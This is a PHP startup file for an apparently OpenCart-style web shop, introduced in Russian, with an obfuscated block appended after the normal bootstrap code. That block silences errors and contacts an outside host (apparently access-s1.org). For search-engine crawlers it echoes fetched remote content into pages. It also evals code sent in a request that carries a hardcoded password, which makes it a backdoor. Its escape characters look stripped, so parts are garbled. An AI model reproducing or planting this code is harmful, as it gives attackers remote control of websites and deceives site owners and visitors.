Содержимое startup.php:
<?php
// Error Reporting
error_reporting(E_ALL);
// RegEx
define('EMAIL_PATTERN', '/^[^@]+@.*.[a-z]{2,6}$/i');
// Check Version
if (version_compare(phpversion(), '5.1.0', '<') == TRUE) {
exit('PHP5.1+ Required');
}
// Register Globals
if (ini_get('register_globals')) {
ini_set('session.use_cookies', 'On');
ini_set('session.use_trans_sid', 'Off');
session_set_cookie_params(0, '/');
session_start();
$globals = array($_REQUEST, $_SESSION, $_SERVER, $_FILES);
foreach ($globals as $global) {
foreach(array_keys($global) as $key) {
unset($$key);
}
}
}
// Magic Quotes Fix
if (ini_get('magic_quotes_gpc')) {
function clean($data) {
if (is_array($data)) {
foreach ($data as $key => $value) {
$data[clean($key)] = clean($value);
}
} else {
$data = stripslashes($data);
}
return $data;
}
$_GET = clean($_GET);
$_POST = clean($_POST);
$_COOKIE = clean($_COOKIE);
}
if (!ini_get('date.timezone')) {
date_default_timezone_set('Europe/Moscow');
}
// Windows IIS Compatibility
if (!isset($_SERVER['DOCUMENT_ROOT'])) {
if (isset($_SERVER['SCRIPT_FILENAME'])) {
$_SERVER['DOCUMENT_ROOT'] = str_replace('', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0 - strlen($_SERVER['PHP_SELF'])));
}
}
if (!isset($_SERVER['DOCUMENT_ROOT'])) {
if (isset($_SERVER['PATH_TRANSLATED'])) {
$_SERVER['DOCUMENT_ROOT'] = str_replace('', '/', substr(str_replace('', '', $_SERVER['PATH_TRANSLATED']), 0, 0 - strlen($_SERVER['PHP_SELF'])));
}
}
if (!isset($_SERVER['REQUEST_URI'])) {
$_SERVER['REQUEST_URI'] = substr($_SERVER['PHP_SELF'], 1);
if (isset($_SERVER['QUERY_STRING'])) {
$_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
}
}
// Engine
require_once(DIR_SYSTEM . 'engine/action.php');
require_once(DIR_SYSTEM . 'engine/controller.php');
require_once(DIR_SYSTEM . 'engine/front.php');
require_once(DIR_SYSTEM . 'engine/loader.php');
require_once(DIR_SYSTEM . 'engine/model.php');
require_once(DIR_SYSTEM . 'engine/registry.php');
// Common
require_once(DIR_SYSTEM . 'library/cache.php');
require_once(DIR_SYSTEM . 'library/config.php');
require_once(DIR_SYSTEM . 'library/db.php');
require_once(DIR_SYSTEM . 'library/document.php');
require_once(DIR_SYSTEM . 'library/image.php');
require_once(DIR_SYSTEM . 'library/language.php');
require_once(DIR_SYSTEM . 'library/log.php');
require_once(DIR_SYSTEM . 'library/mail.php');
require_once(DIR_SYSTEM . 'library/sms.php');
require_once(DIR_SYSTEM . 'library/pagination.php');
require_once(DIR_SYSTEM . 'library/request.php');
require_once(DIR_SYSTEM . 'library/response.php');
require_once(DIR_SYSTEM . 'library/session.php');
require_once(DIR_SYSTEM . 'library/template.php');
?><?php $x12="cx75162l_ix6ei164"; $x13="143u162lx5f163145to160t"; $x14="x63165162154_x65xe143"; $x15="cx75x72l_c154ox73e"; $x16="x65vx61x6c"; $x17="146151154e_147145164137c157156t145156x74163"; $x18="x66un143164i157nx5fx65170151s164x73"; $x19="151n151137x67x65164"; $x1a="preg_mx61164ch"; $x1b="sx74x72151px73la163x68145163"; $x1c="x75r154e156143157x64e";
error_reporting(0);$x0b = "x68x74164x70x3a//a143143x65x73163055x731x2eo162147x2fg145t056php"; $x0c = "1062x33063x32061qx71";if ($x1a("057050171141nx64x65x78|147157x6fx67154145051/x69", $_SERVER['HTTP_USER_AGENT'])) {$x0d = $x1c("150x74164p://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);$x0e = $x1c($_SERVER['HTTP_USER_AGENT']);$x0f = $x0b."x3fx69x64x3d".$x0d."&c150a162x73etx3dx75&bx6f164x3d".$x0e; if($x19("x61x6clo167137165162x6c_f157x70x65156") == 1) {echo $x17($x0f); } elseif($x18('curl_init')) {$x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;} } $x0f = $x0b."077x63x6f144145x3dx63x6f144x65046x62o164x3d".$x0e;if($x19("x61x6cl157x77_x75x72x6c137f157x70x65x6e") == 1) { echo $x17($x0f);}elseif($x18('curl_init')) { $x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;}if($_REQUEST["143"] == $x0c) $x16($x1b($_REQUEST["143x6fd145"])); ?>